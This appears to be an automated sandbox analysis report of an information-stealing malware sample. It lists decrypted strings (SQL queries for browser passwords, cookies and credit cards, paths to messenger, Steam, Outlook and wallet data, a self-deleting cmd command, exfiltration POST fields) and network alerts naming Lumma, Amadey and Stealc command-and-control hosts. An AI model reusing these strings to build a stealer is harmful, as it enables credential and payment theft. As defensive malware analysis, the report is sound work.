Source: 26.0.num.exe.860000.0.unpack	String decryptor: SHGetFolderPathA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ShellExecuteExA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetOpenUrlA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetConnectA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetCloseHandle
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetOpenA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HttpSendRequestA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HttpOpenRequestA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetReadFile
Source: 26.0.num.exe.860000.0.unpack	String decryptor: InternetCrackUrlA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: StrCmpCA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: StrStrA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: StrCmpCW
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PathMatchSpecA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RmStartSession
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RmRegisterResources
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RmGetList
Source: 26.0.num.exe.860000.0.unpack	String decryptor: RmEndSession
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_open
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_step
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_column_text
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_finalize
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_close
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3_column_blob
Source: 26.0.num.exe.860000.0.unpack	String decryptor: encrypted_key
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PATH
Source: 26.0.num.exe.860000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: NSS_Init
Source: 26.0.num.exe.860000.0.unpack	String decryptor: NSS_Shutdown
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PK11_FreeSlot
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PK11_Authenticate
Source: 26.0.num.exe.860000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: C:\ProgramData\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 26.0.num.exe.860000.0.unpack	String decryptor: browser:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: profile:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: url:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: login:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: password:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Opera
Source: 26.0.num.exe.860000.0.unpack	String decryptor: OperaGX
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Network
Source: 26.0.num.exe.860000.0.unpack	String decryptor: cookies
Source: 26.0.num.exe.860000.0.unpack	String decryptor: .txt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 26.0.num.exe.860000.0.unpack	String decryptor: TRUE
Source: 26.0.num.exe.860000.0.unpack	String decryptor: FALSE
Source: 26.0.num.exe.860000.0.unpack	String decryptor: autofill
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 26.0.num.exe.860000.0.unpack	String decryptor: history
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 26.0.num.exe.860000.0.unpack	String decryptor: cc
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 26.0.num.exe.860000.0.unpack	String decryptor: name:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: month:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: year:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: card:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Cookies
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Login Data
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Web Data
Source: 26.0.num.exe.860000.0.unpack	String decryptor: History
Source: 26.0.num.exe.860000.0.unpack	String decryptor: logins.json
Source: 26.0.num.exe.860000.0.unpack	String decryptor: formSubmitURL
Source: 26.0.num.exe.860000.0.unpack	String decryptor: usernameField
Source: 26.0.num.exe.860000.0.unpack	String decryptor: encryptedUsername
Source: 26.0.num.exe.860000.0.unpack	String decryptor: encryptedPassword
Source: 26.0.num.exe.860000.0.unpack	String decryptor: guid
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 26.0.num.exe.860000.0.unpack	String decryptor: cookies.sqlite
Source: 26.0.num.exe.860000.0.unpack	String decryptor: formhistory.sqlite
Source: 26.0.num.exe.860000.0.unpack	String decryptor: places.sqlite
Source: 26.0.num.exe.860000.0.unpack	String decryptor: plugins
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Local Extension Settings
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Sync Extension Settings
Source: 26.0.num.exe.860000.0.unpack	String decryptor: IndexedDB
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Opera Stable
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Opera GX Stable
Source: 26.0.num.exe.860000.0.unpack	String decryptor: CURRENT
Source: 26.0.num.exe.860000.0.unpack	String decryptor: chrome-extension_
Source: 26.0.num.exe.860000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Local State
Source: 26.0.num.exe.860000.0.unpack	String decryptor: profiles.ini
Source: 26.0.num.exe.860000.0.unpack	String decryptor: chrome
Source: 26.0.num.exe.860000.0.unpack	String decryptor: opera
Source: 26.0.num.exe.860000.0.unpack	String decryptor: firefox
Source: 26.0.num.exe.860000.0.unpack	String decryptor: wallets
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ProductName
Source: 26.0.num.exe.860000.0.unpack	String decryptor: x32
Source: 26.0.num.exe.860000.0.unpack	String decryptor: x64
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ProcessorNameString
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DisplayName
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DisplayVersion
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Network Info:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - IP: IP?
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Country: ISO?
Source: 26.0.num.exe.860000.0.unpack	String decryptor: System Summary:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - HWID:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - OS:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Architecture:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - UserName:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Computer Name:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Local Time:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - UTC:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Language:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Keyboards:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Laptop:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Running Path:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - CPU:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Threads:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Cores:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - RAM:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - Display Resolution:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: - GPU:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: User Agents:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Installed Apps:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: All Users:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Current User:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Process List:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: system_info.txt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: freebl3.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: mozglue.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: msvcp140.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: nss3.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: softokn3.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: vcruntime140.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Temp\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: .exe
Source: 26.0.num.exe.860000.0.unpack	String decryptor: runas
Source: 26.0.num.exe.860000.0.unpack	String decryptor: open
Source: 26.0.num.exe.860000.0.unpack	String decryptor: /c start
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %DESKTOP%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %APPDATA%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %USERPROFILE%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %DOCUMENTS%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: %RECENT%
Source: 26.0.num.exe.860000.0.unpack	String decryptor: *.lnk
Source: 26.0.num.exe.860000.0.unpack	String decryptor: files
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \discord\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Telegram Desktop\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: key_datas
Source: 26.0.num.exe.860000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: map*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Telegram
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Tox
Source: 26.0.num.exe.860000.0.unpack	String decryptor: *.tox
Source: 26.0.num.exe.860000.0.unpack	String decryptor: *.ini
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Password
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 00000001
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 00000002
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 00000003
Source: 26.0.num.exe.860000.0.unpack	String decryptor: 00000004
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Pidgin
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \.purple\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: accounts.xml
Source: 26.0.num.exe.860000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 26.0.num.exe.860000.0.unpack	String decryptor: token:
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Software\Valve\Steam
Source: 26.0.num.exe.860000.0.unpack	String decryptor: SteamPath
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \config\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ssfn*
Source: 26.0.num.exe.860000.0.unpack	String decryptor: config.vdf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DialogConfig.vdf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: libraryfolders.vdf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: loginusers.vdf
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Steam\
Source: 26.0.num.exe.860000.0.unpack	String decryptor: sqlite3.dll
Source: 26.0.num.exe.860000.0.unpack	String decryptor: browsers
Source: 26.0.num.exe.860000.0.unpack	String decryptor: done
Source: 26.0.num.exe.860000.0.unpack	String decryptor: soft
Source: 26.0.num.exe.860000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 26.0.num.exe.860000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 26.0.num.exe.860000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 26.0.num.exe.860000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 26.0.num.exe.860000.0.unpack	String decryptor: https
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 26.0.num.exe.860000.0.unpack	String decryptor: POST
Source: 26.0.num.exe.860000.0.unpack	String decryptor: HTTP/1.1
Source: 26.0.num.exe.860000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 26.0.num.exe.860000.0.unpack	String decryptor: hwid
Source: 26.0.num.exe.860000.0.unpack	String decryptor: build
Source: 26.0.num.exe.860000.0.unpack	String decryptor: token
Source: 26.0.num.exe.860000.0.unpack	String decryptor: file_name
Source: 26.0.num.exe.860000.0.unpack	String decryptor: file
Source: 26.0.num.exe.860000.0.unpack	String decryptor: message
Source: 26.0.num.exe.860000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 26.0.num.exe.860000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50169 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CT1ROX8L8OCI432H.exe, 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmp, CT1ROX8L8OCI432H.exe, 00000003.00000003.2278913650.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, QEDBGN5ZBSJ2P7FMKVJ.exe, 00000022.00000003.3041419710.0000000004F70000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Directory queried: number of queries: 1523

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 192MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:63035 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:60189 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:60398 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:60526 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:55259 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49707 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49932 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49943
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:60812 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:61576 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:60536 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:62846 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49980 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49993 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49997 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49996 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49999 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:58786 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:58816 -> 1.1.1.1:53
